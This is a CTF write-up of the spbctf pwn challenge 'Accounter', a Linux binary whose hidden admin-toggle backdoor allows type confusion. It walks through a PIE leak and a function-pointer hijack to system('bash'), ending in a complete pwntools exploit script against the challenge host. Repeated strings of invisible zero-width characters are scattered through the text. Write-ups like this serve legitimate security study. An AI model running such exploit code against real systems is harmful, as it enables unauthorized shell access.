← Back to Writeups
CUSTOMMediumpwn

Accounter

XESXOR9/2/20265 min read
#pwn#custom#medium#backdoor_is_admin_toggle#function_pointer_overwrite_via#pie_leak_via_printf_type_misma#type_confusion_user_as_admin#linux

Accounter

Platform: spbctf | Category: pwn | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-07-02 | Status: Solved Techniques: backdoor_is_admin_toggle, function_pointer_overwrite_via_controlled_login, pie_leak_via_printf_type_mismatch, type_confusion_user_as_admin

Summary

Task: ELF binary manages user/admin accounts in a shared array; a hidden backdoor toggles is_admin with no bounds check, enabling type confusion. Solution: leak PIE base by toggling admin to user (printf %s prints function pointer), then register a user with crafted login containing system("bash") address, toggle to admin, and trigger the function pointer call.

Accounter — spbctf

Description

Looks like this program has a backdoor.

ELF 64-bit PIE binary (mc2.elf) that manages user and admin accounts. The binary has PIE, NX, and Partial RELRO enabled but no stack canary. It provides a menu-driven interface for account management with a hidden backdoor option. The goal is to get a shell and read the flag.

Binary URL: https://pwn.spbctf.ru/files/uaf/mc2/mc2.elf Target: nc 109.233.56.90 11726

Analysis

Data structures

The binary uses a global ACCOUNTS array of 12-byte records: {int is_admin (4 bytes); ptr data (8 bytes)}, with a global COUNT tracking the number of accounts. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Two account types share the same record struct but have different data layouts:

User data (malloc(0x28) = 40 bytes):

[login: 0x14 bytes][password: 0x13 bytes]
is_admin = 0

Admin data (malloc(0x1d) = 29 bytes):

[level: 1 byte][function_ptr: 8 bytes][name: 0x13 bytes]
is_admin = 1

Key functions

FunctionOffsetAction
admin_action_show_id0x11d0Calls system("id")
secret_action_launch_shell0x13a0Calls system("bash") — the target
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Menu options

OptionAction
1Change password (strncpy 0x13 bytes)
2Contact admin — scanf %hhd for level; finds admin matching data[0]==level; calls function pointer at [data+1]
3Show my neighbors — prints ordinary users (is_admin==0) via printf("%d) %s\n", idx, data)
4Register new user — gets login + password
5Log out
6Exit
0x1337d00dBACKDOOR — scanf %d for account index (signed, no bounds check); toggles is_admin (0→1 or 1→0)
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Initialization

On startup, the binary creates:

  • Account 0: user "guest" / "123456" (is_admin=0)
  • Account 1: admin with level 'c' (0x63), name "vos@vos.uz", func=admin_action_show_id (is_admin=1)

Heap layout

After init (confirmed via LD_PRELOAD malloc hook):

  • ACCOUNTS array at heap+0xa0
  • guest_data at heap+0xc0 (chunk size 0x30)
  • admin_data at heap+0xf0 (chunk size 0x30)

No overflow between chunks — strncpy is capped at 0x13 within 0x28-byte allocations.

Three logic bugs — no memory corruption needed

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Bug 1: Backdoor with no bounds check. The secret menu option 0x1337d00d toggles is_admin of any account index. No bounds checking means arbitrary type confusion — a user can be made admin and vice versa.

Bug 2: PIE leak via type confusion + printf %s. When admin (index 1) is toggled to is_admin=0 (ordinary), "Show my neighbors" runs printf("%s", admin_data). Admin data starts with [level 'c'][function_ptr 8 bytes][name...]. Since 'c' is non-NUL and the function pointer's first 6 bytes are non-NUL (upper 2 bytes are 0x00), %s prints: 'c' + 6 bytes of admin_action_show_id address → PIE base leak. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Bug 3: RCE via type confusion (user data treated as admin). Register a new user whose login = level_char + p64(secret_action_launch_shell)[:6]. strncpy pads remaining bytes with NUL, so data[1..8] = exact 8-byte address of secret_action_launch_shell. Toggle this user to is_admin=1 via backdoor. "Contact admin" at matching level finds this fake admin and calls [data+1] = secret_action_launch_shell = system("bash") → shell.

Solution

Step-by-step

  1. Login as guest / 123456
  2. Backdoor toggle index 1 → admin becomes is_admin=0 (ordinary user)
  3. "Show my neighbors" → leaked string "c\xd0\x71\xc1\x58\xae\x62" contains admin_action_show_id address
  4. Compute: base = leak - 0x11d0, launch_shell = base + 0x13a0
  5. Backdoor toggle index 1 again → restore admin to is_admin=1
  6. Register new user: login = chr(0x41) + p64(launch_shell)[:6], password = anything
  7. Backdoor toggle index 2 → new user becomes is_admin=1 (type confusion)
  8. Contact admin at level 65 (0x41) → matches our fake admin → call [data+1] = system("bash")
  9. Shell: cat /flag.txt → flag ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Exploit script

python
#!/usr/bin/env python3
"""Accounter (mc2) — PIE leak via type-confusion %s + backdoor → fake admin → system("bash")"""
from pwn import *
import time

context.log_level = 'info'
context.arch = 'amd64'
HOST, PORT = '109.233.56.90', 11726

SHOW_ID_OFF = 0x11d0
LAUNCH_OFF  = 0x13a0
BACKDOOR    = 0x1337d00d

def start():
    p = remote(HOST, PORT)
    p.recvuntil(b'login: '); p.sendline(b'guest')
    p.recvuntil(b'password: '); p.sendline(b'123456')
    p.recvuntil(b'> ')
    return p
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

def backdoor(p, idx):
    p.sendline(str(BACKDOOR).encode())
    p.recvuntil(b'make admin / unmake admin: ')
    p.sendline(str(idx).encode())
    p.recvuntil(b'> ')

def neighbors(p):
    p.sendline(b'3')
    return p.recvuntil(b'> ', timeout=4)

def register(p, login, password):
    p.sendline(b'4')
    p.recvuntil(b'New login: '); p.sendline(login)
    p.recvuntil(b'Password: '); p.sendline(password)
    p.recvuntil(b'> ')

def contact(p, level):
    p.sendline(b'2')
    p.recvuntil(b'to contact: ')
    p.sendline(str(level).encode())
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

def main():
    p = start()

    # Step 1: Leak PIE via type confusion
    backdoor(p, 1)  # toggle admin → ordinary
    r = neighbors(p)
    for l in r.split(b'\n'):
        if l.startswith(b'1) '):
            line = l[3:]
            break
    ptrbytes = line[1:]  # skip level char 'c'
    leak = u64(ptrbytes.ljust(8, b'\x00'))
    base = leak - SHOW_ID_OFF
    launch = base + LAUNCH_OFF
    log.info("PIE base = %#x, launch_shell = %#x", base, launch)
    assert base & 0xfff == 0

    # Step 2: Restore admin
    backdoor(p, 1)
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

    # Step 3: Register fake admin user
    ab = p64(launch)
    assert b'\n' not in ab[:6] and 0 not in ab[:6]
    level = 0x41  # 'A'
    login = bytes([level]) + ab[:6]
    register(p, login, b'pw')

    # Step 4: Toggle new user to admin
    backdoor(p, 2)

    # Step 5: Trigger call to system("bash")
    contact(p, level)
    p.sendline(b'cat /flag* 2>/dev/null')
    time.sleep(1.5)
    print(p.recv(timeout=4).decode(errors='replace'))
    p.interactive()

if __name__ == '__main__':
    main()

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍